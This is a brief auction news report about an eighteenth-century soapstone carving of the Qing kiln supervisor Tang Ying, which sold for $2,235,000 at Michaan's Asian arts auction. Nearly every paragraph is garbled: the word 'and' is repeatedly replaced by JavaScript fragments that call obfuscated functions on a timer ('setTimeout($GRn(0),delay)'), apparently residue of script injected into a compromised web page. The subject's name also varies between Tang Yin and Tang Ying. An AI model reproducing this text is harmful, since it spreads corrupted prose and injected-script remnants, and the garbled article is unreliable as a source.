ALAMEDA, CALIF. — A soapstone carving depicting the Qing dynasty porcelain kiln supervisor Tang Yin, commissioned for his 70th birthday, attained $2,235,000, including buyer’s premium, at Michaan’s Sunday, June 23, Asian arts auction. The Eighteenth Century figural carving handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andily trumped its $100/150,000 estimate.

The substantial piece dates to the Eighteenth Century andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and displays a range of detailed carving workmanship. Tang Ying is a rare subject matter in Asian works of art, making this an especially collector-worthy piece.

The seated Tang Ying is depicted wearing a dragon robe andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a serene smile as he is flanked by five young boys. Inscriptions are carved in the stone around him, revering his character andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the significance of the young boys. The scene is an artistic expression of the gentle Tang Ying being a worthy father figure as well as in the good fortune of bearing sons. 

The carvings are well executed, realistically portraying the figures andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the rocky landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape that they are positioned in. The entire piece is finished by various pigment rubs, further highlighting the fine detail apparent in the carvings.

A complete report on the auction will appear in a future edition.